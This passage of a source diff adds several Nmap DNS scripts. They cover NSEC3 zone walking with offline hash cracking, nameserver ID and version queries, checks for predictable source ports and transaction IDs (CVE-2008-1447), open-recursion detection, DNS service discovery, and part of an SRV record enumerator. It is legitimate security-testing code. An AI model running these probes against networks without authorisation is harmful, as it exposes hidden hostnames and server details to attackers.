+nexthash 430456af8svfvl98l66shhrgucoip7mi mges520acstgaviekurg3oksh9u31bmb
+</code>
+
+Run this command to recover the domain names:
+<code>
+# ./unhash < hashes.txt > domains.txt
+names: 8
+d1427bj0ahqnpi4t0t0aaun18oqpgcda ns.example.com.
+found 1 private NSEC3 names (12%) using 235451 hash computations
+k7i4ekvi22ebrim5b6celtaniknd6ilj vulpix.example.com.
+found 2 private NSEC3 names (25%) using 35017190 hash computations
+</code>
+
+Use the <code>dns-nsec-enum</code> script to handle servers that use NSEC
+rather than NSEC3.
+
+References:
+* https://dnscurve.org/nsec3walker.html
+]]
+---
+-- @usage
+-- nmap -sU -p 53 <target> --script=dns-nsec3-enum --script-args dns-nsec3-enum.domains=example.com
+---
+-- @args dns-nsec3-enum.domains The domain or list of domains to
+-- enumerate. If not provided, the script will make a guess based on the
+-- name of the target.
+-- @args dns-nsec3-enum.timelimit Sets a script run time limit. Default 30 minutes.
+--
+-- @see dns-nsec-enum.nse
+-- @see dns-ip6-arpa-scan.nse
+-- @see dns-brute.nse
+-- @see dns-zone-transfer.nse
+--
+-- @output
+-- PORT STATE SERVICE
+-- 53/udp open domain
+-- | dns-nsec3-enum:
+-- | domain example.com
+-- | salt 123456
+-- | iterations 10
+-- | nexthash d1427bj0ahqnpi4t0t0aaun18oqpgcda vhnelm23s1m3japt7gohc82hgr9un2at
+-- | nexthash k7i4ekvi22ebrim5b6celtaniknd6ilj prv54a3cr1tbcvqslrb7bftf5ji5l0p8
+-- | nexthash 9ool6bk7r2diaiu81ctiemmb6n961mph nm7v0ig7h9c0agaedc901kojfj9bgabj
+-- | nexthash 430456af8svfvl98l66shhrgucoip7mi mges520acstgaviekurg3oksh9u31bmb
+-- |_ Total hashes found: 8
+
+author = {"Aleksandar Nikolic", "John R. Bond"}
+license = "Simplified (2-clause) BSD license--See https://nmap.org/svn/docs/licenses/BSD-simplified"
+categories = {"discovery", "intrusive"}
+
+portrule = shortport.port_or_service(53, "domain", {"tcp", "udp"})
+
+all_results = {}
+
+-- get time (in milliseconds) when the script should finish
+local function get_end_time()
+ local t = nmap.timing_level()
+ local limit = stdnse.parse_timespec(stdnse.get_script_args('dns-nsec3-enum.timelimit') or "30m")
+ local end_time = 1000 * limit + nmap.clock_ms()
+ return end_time
+end
+
+local function remove_empty(t)
+ local result = {}
+ for _, v in ipairs(t) do
+ if v ~= "" then
+ result[#result + 1] = v
+ end
+ end
+ return result
+end
+
+local function split(domain)
+ return stringaux.strsplit("%.", domain)
+end
+
+local function join(components)
+ return table.concat(remove_empty(components), ".")
+end
+
+-- Remove the first component of a domain name. Return nil if the number of
+-- components drops below min_length (default 0).
+local function remove_component(domain, min_length)
+ local components
+
+ min_length = min_length or 0
+ components = split(domain)
+ if #components < min_length then
+ return nil
+ end
+ table.remove(components, 1)
+
+ return join(components)
+end
+
+-- Guess the domain given a host. Return nil on failure. This function removes
+-- a domain name component unless the name would become shorter than 2
+-- components.
+local function guess_domain(host)
+ local name
+ local components
+
+ name = stdnse.get_hostname(host)
+ if name and name ~= host.ip then
+ return remove_component(name, 2) or name
+ else
+ return nil
+ end
+end
+
+-- Remove a suffix from a domain (to isolate a subdomain from its parent).
+local function remove_suffix(domain, suffix)
+ local dc, sc
+
+ dc = split(domain)
+ sc = split(suffix)
+ while #dc > 0 and #sc > 0 and dc[#dc] == sc[#sc] do
+ dc[#dc] = nil
+ sc[#sc] = nil
+ end
+
+ return join(dc), join(sc)
+end
+
+-- Return the subset of authoritative records with the given label.
+local function auth_filter(retPkt, label)
+ local result = {}
+
+ for _, rec in ipairs(retPkt.auth) do
+ if rec[label] then
+ result[#result + 1] = rec[label]
+ end
+ end
+
+ return result
+end
+
+
+local function empty(t)
+ return not next(t)
+end
+
+-- generate a random hash with domains suffix
+-- return both domain and its hash
+local function generate_hash(domain, iter, salt)
+ local rand_str = rand.random_string(8, "etaoinshrdlucmfw")
+ local random_domain = rand_str .. "." .. domain
+ local packed_domain = {}
+ for word in string.gmatch(random_domain, "[^%.]+") do
+ packed_domain[#packed_domain+1] = string.pack("s1", word)
+ end
+ salt = stdnse.fromhex( salt)
+ local to_hash = ("%s\0%s"):format(table.concat(packed_domain), salt)
+ iter = iter - 1
+ local hash = openssl.sha1(to_hash)
+ for i=0,iter do
+ hash = openssl.sha1(hash .. salt)
+ end
+ return string.lower(base32.enc(hash,true)), random_domain
+end
+
+-- convenience function , returns size of a table
+local function table_size(tbl)
+ local numItems = 0
+ for k,v in pairs(tbl) do
+ numItems = numItems + 1
+ end
+ return numItems
+end
+
+-- convenience function , return first item in a table
+local function get_first(tbl)
+ for k,v in pairs(tbl) do
+ return k,v
+ end
+end
+
+-- queries the domain and parses the results
+-- returns the list of new ranges
+local function query_for_hashes(host,subdomain,domain)
+ local status
+ local result
+ local ranges = {}
+ status, result = dns.query(subdomain, {host = host.ip, dtype='NSEC3', retAll=true, retPkt=true, dnssec=true})
+ if status then
+ for _, nsec3 in ipairs(auth_filter(result, "NSEC3")) do
+ local h1 = string.lower(remove_suffix(nsec3.dname,domain))
+ local h2 = string.lower(nsec3.hash.base32)
+ if not tableaux.contains(all_results,"nexthash " .. h1 .. " " .. h2) then
+ table.insert(all_results, "nexthash " .. h1 .. " " .. h2)
+ stdnse.debug1("nexthash " .. h1 .. " " .. h2)
+ end
+ ranges[h1] = h2
+ end
+ else
+ stdnse.debug1("DNS error: %s", result)
+ end
+ return ranges
+end
+
+-- does the actual enumeration
+local function enum(host, port, domain)
+
+ local seen, seen_subdomain = {}, {}
+ local ALG ={}
+ ALG[1] = "SHA-1"
+ local todo = {}
+ local dnssec, status, result = false, false, "No Answer"
+ local result = {}
+ local subdomain = rand.random_string(8, "etaoinshrdlucmfw")
+ local full_domain = join({subdomain, domain})
+ local iter
+ local salt
+ local end_time = get_end_time()
+
+ -- do one query to determine the hash and if DNSSEC is actually used
+ status, result = dns.query(full_domain, {host = host.ip, dtype='NSEC3', retAll=true, retPkt=true, dnssec=true})
+ if status then
+ local is_nsec3 = false
+ for _, nsec3 in ipairs(auth_filter(result, "NSEC3")) do -- parse the results and add initial ranges
+ is_nsec3 = true
+ dnssec = true
+ iter = nsec3.iterations
+ salt = nsec3.salt.hex
+ local h1 = string.lower(remove_suffix(nsec3.dname,domain))
+ local h2 = string.lower(nsec3.hash.base32)
+ if table_size(todo) == 0 then
+ table.insert(all_results, "domain " .. domain)
+ stdnse.debug1("domain " .. domain)
+ table.insert(all_results, "salt " .. salt)
+ stdnse.debug1("salt " .. salt)
+ table.insert(all_results, "iterations " .. iter)
+ stdnse.debug1("iterations " .. iter)
+ if h1 < h2 then
+ todo[h2] = h1
+ else
+ todo[h1] = h2
+ end
+ else
+ for b,a in pairs(todo) do
+ if h1 == b and h2 == a then -- h2:a b:h1 case
+ todo[b] = nil
+ break
+ end
+ if h1 == b and h2 > h1 then -- a b:h1 h2 case
+ todo[b] = nil
+ todo[h2] = a
+ break
+ end
+ if h1 == b and h2 < a then -- h2 a b:h1
+ todo[b] = nil
+ todo[b] = h2
+ break
+ end
+ if h1 > b then -- a b h1 h2
+ todo[b] = nil
+ todo[b] = h1
+ todo[h2] = a
+ break
+ end
+ if h1 < a then -- h1 h2 a b
+ todo[b] = nil
+ todo[b] = h1
+ todo[h2] = a
+ break
+ end
+ end -- for
+ end -- else
+ table.insert(all_results, "nexthash " .. h1 .. " " .. h2)
+ stdnse.debug1("nexthash " .. h1 .. " " .. h2)
+ end
+ end
+
+ -- find hash that falls into one of the ranges and query for it
+ while table_size(todo) > 0 and nmap.clock_ms() < end_time do
+ local hash
+ hash, subdomain = generate_hash(domain,iter,salt)
+ local queried = false
+ for a,b in pairs(todo) do
+ if a == b then
+ todo[a] = nil
+ break
+ end
+ if a < b then -- [] range
+ if hash > a and hash < b then
+ -- do the query
+ local hash_pairs = query_for_hashes(host,subdomain,domain)
+ queried = true
+ local changed = false
+ for h1,h2 in pairs(hash_pairs) do
+ if h1 == a and h2 == b then -- h1:a h2:b case
+ todo[a] = nil
+ changed = true
+ end
+ if h1 == a then -- h1:a h2 b case
+ todo[a] = nil
+ todo[h2] = b
+ changed = true
+ end
+ if h2 == b then -- a h1 bh:2 case
+ todo[a] = nil
+ todo[a] = h1
+ changed = true
+ end
+ if h1 > a and h2 < b then -- a h1 h2 b case
+ todo[a] = nil
+ todo[a] = h1
+ todo[h2] = b
+ changed = true
+ end
+ end
+ --if changed then
+ -- stdnse.debug1("break[]")
+ --break
+ -- end
+ end
+ elseif a > b then -- ][ range
+ if hash > a or hash < b then
+ local hash_pairs = query_for_hashes(host,subdomain,domain)
+ queried = true
+ local changed = false
+ for h1,h2 in pairs(hash_pairs) do
+ if h1 == a and h2 == b then -- h2:b a:h1 case
+ todo[a] = nil
+ changed = true
+ end
+ if h1 == a and h2 > h1 then -- b a:h1 h2 case
+ todo[a] = nil
+ todo[h1] = b
+ changed = true
+ end
+ if h1 == a and h2 < b then -- h2 b a:h1 case
+ todo[a] = nil
+ todo[h2] = b
+ changed = true
+ end
+ if h1 > a and h2 > h1 then -- b a h1 h2 case
+ todo[a] = nil
+ todo[a] = h1
+ todo[h2] = b
+ changed = true
+ end
+ if h1 > a and h2 < b then -- h2 b a h1 case
+ todo[a] = nil
+ todo[a] = h1
+ todo[h2] = b
+ changed = true
+ end
+ if h1 < b then -- h1 h2 b a case
+ todo[a] = nil
+ todo[a] = h1
+ todo[h2] = b
+ changed = true
+ end
+ end
+ if changed then
+ --break
+ end
+ end
+ end
+ if queried then
+ break
+ end
+ end
+ end
+ return dnssec, status, all_results
+end
+
+action = function(host, port)
+ local output = {}
+ local domains
+ domains = stdnse.get_script_args('dns-nsec3-enum.domains')
+ if not domains then
+ domains = guess_domain(host)
+ end
+ if not domains then
+ return string.format("Can't determine domain for host %s; use %s.domains script arg.", host.ip, SCRIPT_NAME)
+ end
+ if type(domains) == 'string' then
+ domains = { domains }
+ end
+
+ for _, domain in ipairs(domains) do
+ local dnssec, status, result = enum(host, port, domain)
+ if dnssec and type(result) == "table" then
+ output[#output + 1] = result
+ output[#output + 1] = "Total hashes found: " .. #result
+
+ else
+ output[#output + 1] = "DNSSEC NSEC3 not supported"
+ end
+ end
+ return stdnse.format_output(true, output)
+end
diff --git a/scripts/dns-nsid.nse b/scripts/dns-nsid.nse
new file mode 100644
index 0000000..3a34979
--- /dev/null
+++ b/scripts/dns-nsid.nse
@@ -0,0 +1,109 @@
+local dns = require "dns"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+
+description = [[
+Retrieves information from a DNS nameserver by requesting
+its nameserver ID (nsid) and asking for its id.server and
+version.bind values. This script performs the same queries as the following
+two dig commands:
+ - dig CH TXT bind.version @target
+ - dig +nsid CH TXT id.server @target
+
+References:
+[1]http://www.ietf.org/rfc/rfc5001.txt
+[2]http://www.ietf.org/rfc/rfc4892.txt
+]]
+
+---
+-- @usage
+-- nmap -sSU -p 53 --script dns-nsid <target>
+--
+-- @output
+-- 53/udp open domain udp-response
+-- | dns-nsid:
+-- | NSID dns.example.com (646E732E6578616D706C652E636F6D)
+-- | id.server: dns.example.com
+-- |_ bind.version: 9.7.3-P3
+--
+-- @xmloutput
+-- <table key="NSID">
+-- <elem key="raw">mia01.l.root-servers.org</elem>
+-- <elem key="hex">6d696130312e6c2e726f6f742d736572766572732e6f7267</elem>
+-- </table>
+-- <elem key="id.server">mia01.l.root-servers.org</elem>
+-- <elem key="bind.version">NSD 3.2.15</elem>
+
+author = "John R. Bond"
+license = "Simplified (2-clause) BSD license--See https://nmap.org/svn/docs/licenses/BSD-simplified"
+
+categories = {"discovery", "default", "safe"}
+
+
+portrule = function (host, port)
+ if not shortport.port_or_service(53, "domain", {"tcp", "udp"})(host, port) then
+ return false
+ end
+ -- only check tcp if udp is not open or open|filtered
+ if port.protocol == 'tcp' then
+ local tmp_port = nmap.get_port_state(host, {number=port.number, protocol="udp"})
+ if tmp_port then
+ return not string.match(tmp_port.state, '^open')
+ end
+ end
+ return true
+end
+
+local function rr_filter(pktRR, label)
+ for _, rec in ipairs(pktRR, label) do
+ if ( rec[label] and 0 < #rec.data ) then
+ if ( dns.types.OPT == rec.dtype ) then
+ if #rec.data < 4 then
+ return false, "Failed to decode NSID"
+ end
+ local _, len, pos = string.unpack(">I2 I2", rec.data)
+ if ( len ~= #rec.data - pos + 1 ) then
+ return false, "Failed to decode NSID"
+ end
+ return true, string.unpack("c" .. len, rec.data, pos)
+ else
+ return true, string.unpack(">s1", rec.data)
+ end
+ end
+ end
+end
+
+action = function(host, port)
+ local result = stdnse.output_table()
+ local flag = false
+ local status, resp = dns.query("id.server", {host = host.ip, port=port.number, proto=port.protocol, dtype='TXT', class=dns.CLASS.CH, retAll=true, retPkt=true, nsid=true, dnssec=true})
+ if ( status ) then
+ local status, nsid = rr_filter(resp.add,'OPT')
+ if ( status ) then
+ flag = true
+ -- RFC 5001 says NSID can be any arbitrary bytes, and should be displayed
+ -- as hex, but often it is a readable string. Store both.
+ result["NSID"] = { raw = nsid, hex = stdnse.tohex(nsid) }
+ setmetatable(result["NSID"], {
+ __tostring = function(t)
+ return ("%s (%s)"):format(t.raw, t.hex)
+ end
+ })
+ end
+ local status, id_server = rr_filter(resp.answers,'TXT')
+ if ( status ) then
+ flag = true
+ result["id.server"] = id_server
+ end
+ end
+ local status, bind_version = dns.query("version.bind", {host = host.ip, port=port.number, proto=port.protocol, dtype='TXT', class=dns.CLASS.CH})
+ if ( status ) then
+ flag = true
+ result["bind.version"] = bind_version
+ end
+ if flag then
+ return result
+ end
+end
diff --git a/scripts/dns-random-srcport.nse b/scripts/dns-random-srcport.nse
new file mode 100644
index 0000000..b2fa016
--- /dev/null
+++ b/scripts/dns-random-srcport.nse
@@ -0,0 +1,153 @@
+local comm = require "comm"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local string = require "string"
+local stdnse = require "stdnse"
+
+description = [[
+Checks a DNS server for the predictable-port recursion vulnerability.
+Predictable source ports can make a DNS server vulnerable to cache poisoning
+attacks (see CVE-2008-1447).
+
+The script works by querying porttest.dns-oarc.net (see
+https://www.dns-oarc.net/oarc/services/porttest). Be aware that any
+targets against which this script is run will be sent to and
+potentially recorded by one or more DNS servers and the porttest
+server. In addition your IP address will be sent along with the
+porttest query to the DNS server running on the target.
+]]
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+author = [[
+Script: Brandon Enright <bmenrigh@ucsd.edu>
+porttest.dns-oarc.net: Duane Wessels <wessels@dns-oarc.net>
+]]
+
+---
+-- @usage
+-- nmap -sU -p 53 --script=dns-random-srcport <target>
+-- @output
+-- PORT STATE SERVICE REASON
+-- 53/udp open domain udp-response
+-- |_dns-random-srcport: X.X.X.X is GREAT: 26 queries in 1.2 seconds from 26 ports with std dev 17905
+
+-- This script uses (with permission) Duane Wessels' porttest.dns-oarc.net
+-- service. Duane/OARC believe the service is valuable to the community
+-- and have no plans to ever turn the service off.
+-- The likely long-term availability makes this script a good candidate
+-- for inclusion in Nmap proper.
+
+categories = {"external", "intrusive"}
+
+
+portrule = shortport.portnumber(53, "udp")
+
+local function fail (err) return stdnse.format_output(false, err) end
+
+action = function(host, port)
+
+ -- TXID: 0xbeef
+ -- Flags: 0x0100
+ -- Questions: 1
+ -- Answer RRs: 0
+ -- Authority RRs: 0
+ -- Additional RRs: 0
+
+ -- Query:
+ -- Name: porttest, dns-oarc, net
+ -- Type: TXT (0x0010)
+ -- Class: IN (0x0001)
+
+ local query = string.char( 0xbe, 0xef, -- TXID
+ 0x01, 0x00, -- Flags
+ 0x00, 0x01, -- Questions
+ 0x00, 0x00, -- Answer RRs
+ 0x00, 0x00, -- Authority RRs
+ 0x00, 0x00, -- Additional RRs
+ 0x08) .. "porttest" ..
+ "\x08" .. "dns-oarc" ..
+ "\x03" .. "net" ..
+ string.char( 0x00, -- Name terminator
+ 0x00, 0x10, -- Type (TXT)
+ 0x00, 0x01) -- Class (IN)
+
+ local status, result = comm.exchange(host, port, query, {proto="udp",
+ timeout=20000})
+
+ -- Fail gracefully
+ if not status then
+ return fail(result)
+ end
+
+ -- Update the port
+ nmap.set_port_state(host, port, "open")
+
+ -- Now we need to "parse" the results to check to see if they are good
+
+ -- We need a minimum of 5 bytes...
+ if (#result < 5) then
+ return fail("Malformed response")
+ end
+
+ -- Check TXID
+ if (string.byte(result, 1) ~= 0xbe
+ or string.byte(result, 2) ~= 0xef) then
+ return fail("Invalid Transaction ID")
+ end
+
+ -- Check response flag and recursion
+ if not ((string.byte(result, 3) & 0x80) == 0x80
+ and (string.byte(result, 4) & 0x80) == 0x80) then
+ return fail("Server refused recursion")
+ end
+
+ -- Check error flag
+ if (string.byte(result, 4) & 0x0F) ~= 0x00 then
+ return fail("Server failure")
+ end
+
+ -- Check for two Answer RRs and 1 Authority RR
+ if (string.byte(result, 5) ~= 0x00
+ or string.byte(result, 6) ~= 0x01
+ or string.byte(result, 7) ~= 0x00
+ or string.byte(result, 8) ~= 0x02) then
+ return fail("Response did not include expected answers")
+ end
+
+ -- We need a minimum of 128 bytes...
+ if (#result < 128) then
+ return fail("Truncated response")
+ end
+
+ -- Here is the really fragile part. If the DNS response changes
+ -- in any way, this won't work and will fail.
+ -- Jump to second answer and check to see that it is TXT, IN
+ -- then grab the length and display that text...
+
+ -- Check for TXT
+ if (string.byte(result, 118) ~= 0x00
+ or string.byte(result, 119) ~= 0x10)
+ then
+ return fail("Answer record not of type TXT")
+ end
+
+ -- Check for IN
+ if (string.byte(result, 120) ~= 0x00
+ or string.byte(result, 121) ~= 0x01) then
+ return fail("Answer record not of type IN")
+ end
+
+ -- Get TXT length
+ local txtlen = string.byte(result, 128)
+
+ -- We now need a minimum of 128 + txtlen bytes + 1...
+ if (#result < 128 + txtlen) then
+ return fail("Truncated response")
+ end
+
+ -- GET TXT record
+ local txtrd = string.sub(result, 129, 128 + txtlen)
+
+ return txtrd
+end
diff --git a/scripts/dns-random-txid.nse b/scripts/dns-random-txid.nse
new file mode 100644
index 0000000..1f32d7a
--- /dev/null
+++ b/scripts/dns-random-txid.nse
@@ -0,0 +1,153 @@
+local comm = require "comm"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local string = require "string"
+local stdnse = require "stdnse"
+
+description = [[
+Checks a DNS server for the predictable-TXID DNS recursion
+vulnerability. Predictable TXID values can make a DNS server vulnerable to
+cache poisoning attacks (see CVE-2008-1447).
+
+The script works by querying txidtest.dns-oarc.net (see
+https://www.dns-oarc.net/oarc/services/txidtest). Be aware that any
+targets against which this script is run will be sent to and
+potentially recorded by one or more DNS servers and the txidtest
+server. In addition your IP address will be sent along with the
+txidtest query to the DNS server running on the target.
+]]
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+author = [[
+Script: Brandon Enright <bmenrigh@ucsd.edu>
+txidtest.dns-oarc.net: Duane Wessels <wessels@dns-oarc.net>
+]]
+
+---
+-- @usage
+-- nmap -sU -p 53 --script=dns-random-txid <target>
+-- @output
+-- PORT STATE SERVICE REASON
+-- 53/udp open domain udp-response
+-- |_dns-random-txid: X.X.X.X is GREAT: 27 queries in 61.5 seconds from 27 txids with std dev 20509
+
+-- This script uses (with permission) Duane Wessels' txidtest.dns-oarc.net
+-- service. Duane/OARC believe the service is valuable to the community
+-- and have no plans to ever turn the service off.
+-- The likely long-term availability makes this script a good candidate
+-- for inclusion in Nmap proper.
+
+categories = {"external", "intrusive"}
+
+
+portrule = shortport.portnumber(53, "udp")
+
+local function fail (err) return stdnse.format_output(false, err) end
+
+action = function(host, port)
+
+ -- TXID: 0xbabe
+ -- Flags: 0x0100
+ -- Questions: 1
+ -- Answer RRs: 0
+ -- Authority RRs: 0
+ -- Additional RRs: 0
+
+ -- Query:
+ -- Name: txidtest, dns-oarc, net
+ -- Type: TXT (0x0010)
+ -- Class: IN (0x0001)
+
+ local query = string.char( 0xba, 0xbe, -- TXID
+ 0x01, 0x00, -- Flags
+ 0x00, 0x01, -- Questions
+ 0x00, 0x00, -- Answer RRs
+ 0x00, 0x00, -- Authority RRs
+ 0x00, 0x00, -- Additional RRs
+ 0x08) .. "txidtest" ..
+ "\x08" .. "dns-oarc" ..
+ "\x03" .. "net" ..
+ string.char( 0x00, -- Name terminator
+ 0x00, 0x10, -- Type (TXT)
+ 0x00, 0x01) -- Class (IN)
+
+ local status, result = comm.exchange(host, port, query, {proto="udp",
+ timeout=20000})
+
+ -- Fail gracefully
+ if not status then
+ return fail(result)
+ end
+
+ -- Update the port
+ nmap.set_port_state(host, port, "open")
+
+ -- Now we need to "parse" the results to check to see if they are good
+
+ -- We need a minimum of 5 bytes...
+ if (#result < 5) then
+ return fail("Malformed response")
+ end
+
+ -- Check TXID
+ if (string.byte(result, 1) ~= 0xba
+ or string.byte(result, 2) ~= 0xbe) then
+ return fail("Invalid Transaction ID")
+ end
+
+ -- Check response flag and recursion
+ if not ((string.byte(result, 3) & 0x80) == 0x80
+ and (string.byte(result, 4) & 0x80) == 0x80) then
+ return fail("Server refused recursion")
+ end
+
+ -- Check error flag
+ if (string.byte(result, 4) & 0x0F) ~= 0x00 then
+ return fail("Server failure")
+ end
+
+ -- Check for two Answer RRs and 1 Authority RR
+ if (string.byte(result, 5) ~= 0x00
+ or string.byte(result, 6) ~= 0x01
+ or string.byte(result, 7) ~= 0x00
+ or string.byte(result, 8) ~= 0x02) then
+ return fail("Response did not include expected answers")
+ end
+
+ -- We need a minimum of 128 bytes...
+ if (#result < 128) then
+ return fail("Truncated response")
+ end
+
+ -- Here is the really fragile part. If the DNS response changes
+ -- in any way, this won't work and will fail.
+ -- Jump to second answer and check to see that it is TXT, IN
+ -- then grab the length and display that text...
+
+ -- Check for TXT
+ if (string.byte(result, 118) ~= 0x00
+ or string.byte(result, 119) ~= 0x10)
+ then
+ return fail("Answer record not of type TXT")
+ end
+
+ -- Check for IN
+ if (string.byte(result, 120) ~= 0x00
+ or string.byte(result, 121) ~= 0x01) then
+ return fail("Answer record not of type IN")
+ end
+
+ -- Get TXT length
+ local txtlen = string.byte(result, 128)
+
+ -- We now need a minimum of 128 + txtlen bytes + 1...
+ if (#result < 128 + txtlen) then
+ return fail("Truncated response")
+ end
+
+ -- GET TXT record
+ local txtrd = string.sub(result, 129, 128 + txtlen)
+
+ return txtrd
+end
diff --git a/scripts/dns-recursion.nse b/scripts/dns-recursion.nse
new file mode 100644
index 0000000..d1ea1b6
--- /dev/null
+++ b/scripts/dns-recursion.nse
@@ -0,0 +1,58 @@
+local comm = require "comm"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local string = require "string"
+
+description = [[
+Checks if a DNS server allows queries for third-party names. It is
+expected that recursion will be enabled on your own internal
+nameservers.
+]]
+
+---
+-- @usage
+-- nmap -sU -p 53 --script=dns-recursion <target>
+-- @output
+-- PORT STATE SERVICE REASON
+-- 53/udp open domain udp-response
+-- |_dns-recursion: Recursion appears to be enabled
+
+author = "Felix Groebert"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"default", "safe"}
+
+
+portrule = shortport.portnumber(53, "udp")
+
+action = function(host, port)
+
+ -- generate dns query
+ local request = "\xde\xad" -- Transaction-ID 0xdead
+ .. "\x01\x00" -- flags (recursion desired)
+ .. "\x00\x01" -- 1 question
+ .. "\x00\x00" -- 0 answers
+ .. "\x00\x00" -- 0 authority
+ .. "\x00\x00" -- 0 additional
+ .. "\x03www\x09wikipedia\x03org\x00" -- www.wikipedia.org.
+ .. "\x00\x01" -- type A
+ .. "\x00\x01" -- class IN
+
+ local status, result = comm.exchange(host, port, request, {proto="udp"})
+
+ if not status then
+ return
+ end
+
+ nmap.set_port_state(host, port, "open")
+
+ -- parse response for dns flags
+ if (string.byte(result,3) & 0x80) == 0x80
+ and (string.byte(result,4) & 0x85) == 0x80
+ then
+ return "Recursion appears to be enabled"
+ end
+
+ return
+end
diff --git a/scripts/dns-service-discovery.nse b/scripts/dns-service-discovery.nse
new file mode 100644
index 0000000..8ef6492
--- /dev/null
+++ b/scripts/dns-service-discovery.nse
@@ -0,0 +1,67 @@
+local dnssd = require "dnssd"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+description=[[
+Attempts to discover target hosts' services using the DNS Service Discovery protocol.
+
+The script first sends a query for _services._dns-sd._udp.local to get a
+list of services. It then sends a followup query for each one to try to
+get more information.
+]]
+
+
+---
+-- @usage
+-- nmap --script=dns-service-discovery -p 5353 <target>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 5353/udp open zeroconf udp-response
+-- | dns-service-discovery:
+-- | 548/tcp afpovertcp
+-- | model=MacBook5,1
+-- | Address=192.168.0.2 fe80:0:0:0:223:6cff:1234:5678
+-- | 3689/tcp daap
+-- | txtvers=1
+-- | iTSh Version=196609
+-- | MID=0xFB5338C04123456
+-- | Database ID=6FA9761FE123456
+-- | dmv=131078
+-- | Version=196616
+-- | OSsi=0x1F6
+-- | Machine Name=Patrik Karlsson\xE2\x80\x99s Library
+-- | Media Kinds Shared=1
+-- | Machine ID=8945A7123456
+-- | Password=0
+-- |_ Address=192.168.0.2 fe80:0:0:0:223:6cff:1234:5678
+
+
+-- Version 0.7
+-- Created 01/06/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 01/13/2010 - v0.2 - modified to use existing dns library instead of mdns, changed output to be less DNS like
+-- Revised 02/01/2010 - v0.3 - removed incorrect try/catch statements
+-- Revised 10/04/2010 - v0.4 - added prerule and add target support <patrik@cqure.net>
+-- Revised 10/05/2010 - v0.5 - added ip sort function and
+-- Revised 10/10/2010 - v0.6 - multicast queries are now used in parallel to collect service information <patrik@cqure.net>
+-- Revised 10/29/2010 - v0.7 - factored out most of the code to dnssd library
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "safe"}
+
+
+portrule = shortport.portnumber(5353, "udp")
+
+action = function(host, port)
+ local helper = dnssd.Helper:new( host, port )
+ local status, result = helper:queryServices()
+
+ if ( status ) then
+ -- set port to open
+ nmap.set_port_state(host, port, "open")
+ return stdnse.format_output(true, result)
+ end
+end
+
diff --git a/scripts/dns-srv-enum.nse b/scripts/dns-srv-enum.nse
new file mode 100644
index 0000000..86dd042
--- /dev/null
+++ b/scripts/dns-srv-enum.nse
@@ -0,0 +1,179 @@
+local coroutine = require "coroutine"
+local dns = require "dns"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local tab = require "tab"
+local table = require "table"
+local target = require "target"
+
+description = [[
+Enumerates various common service (SRV) records for a given domain name.
+The service records contain the hostname, port and priority of servers for a given service.
+The following services are enumerated by the script:
+ - Active Directory Global Catalog
+ - Exchange Autodiscovery
+ - Kerberos KDC Service
+ - Kerberos Passwd Change Service
+ - LDAP Servers
+ - SIP Servers
+ - XMPP S2S
+ - XMPP C2S
+]]
+
+---
+-- @usage
+-- nmap --script dns-srv-enum --script-args "dns-srv-enum.domain='example.com'"
+--
+-- @output
+-- | dns-srv-enum:
+-- | Active Directory Global Catalog
+-- | service prio weight host
+-- | 3268/tcp 0 100 stodc01.example.com
+-- | Kerberos KDC Service
+-- | service prio weight host
+-- | 88/tcp 0 100 stodc01.example.com
+-- | 88/udp 0 100 stodc01.example.com
+-- | Kerberos Password Change Service
+-- | service prio weight host
+-- | 464/tcp 0 100 stodc01.example.com
+-- | 464/udp 0 100 stodc01.example.com
+-- | LDAP
+-- | service prio weight host
+-- | 389/tcp 0 100 stodc01.example.com
+-- | SIP
+-- | service prio weight host
+-- | 5060/udp 10 50 vclux2.example.com
+-- | 5070/udp 10 50 vcbxl2.example.com
+-- | 5060/tcp 10 50 vclux2.example.com
+-- | 5060/tcp 10 50 vcbxl2.example.com
+-- | XMPP server-to-server
+-- | service prio weight host
+-- | 5269/tcp 5 0 xmpp-server.l.example.com
+-- | 5269/tcp 20 0 alt2.xmpp-server.l.example.com
+-- | 5269/tcp 20 0 alt4.xmpp-server.l.example.com
+-- | 5269/tcp 20 0 alt3.xmpp-server.l.example.com
+-- |_ 5269/tcp 20 0 alt1.xmpp-server.l.example.com
+--
+-- @args dns-srv-enum.domain string containing the domain to query
+-- @args dns-srv-enum.filter string containing the service to query
+-- (default: all)
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+
+
+local arg_domain = stdnse.get_script_args(SCRIPT_NAME .. ".domain")
+local arg_filter = stdnse.get_script_args(SCRIPT_NAME .. ".filter")
+
+prerule = function() return not(not(arg_domain)) end
+
+local function parseSvcList(services)
+ local i = 1
+ return function()
+ local svc = services[i]
+ if ( svc ) then
+ i=i + 1
+ else
+ return
+ end
+ return svc.name, svc.query
+ end
+end
+
+local function parseSrvResponse(resp)
+ local i = 1
+ if ( resp.answers ) then
+ table.sort(resp.answers,
+ function(a, b)
+ if ( a.SRV and b.SRV and a.SRV.prio and b.SRV.prio ) then
+ return a.SRV.prio < b.SRV.prio
+ end
+ end
+ )
+ end
+ return function()
+ if ( not(resp.answers) or 0 == #resp.answers ) then return end
+ if ( not(resp.answers[i]) ) then
+ return
+ elseif ( resp.answers[i].SRV ) then
+ local srv = resp.answers[i].SRV
+ i = i + 1
+ return srv.target, srv.port, srv.prio, srv.weight
+ end
+ end
+end
+
+local function checkFilter(services)
+ if ( not(arg_filter) or "" == arg_filter or "all" == arg_filter ) then
+ return true
+ end
+ for name, queries in parseSvcList(services) do
+ if ( name == arg_filter ) then
+ return true
+ end
+ end
+ return false
+end
+
+local function doQuery(name, queries, result)
+ local condvar = nmap.condvar(result)
+ local svc_result = tab.new(4)
+ tab.addrow(svc_result, "service", "prio", "weight", "host")
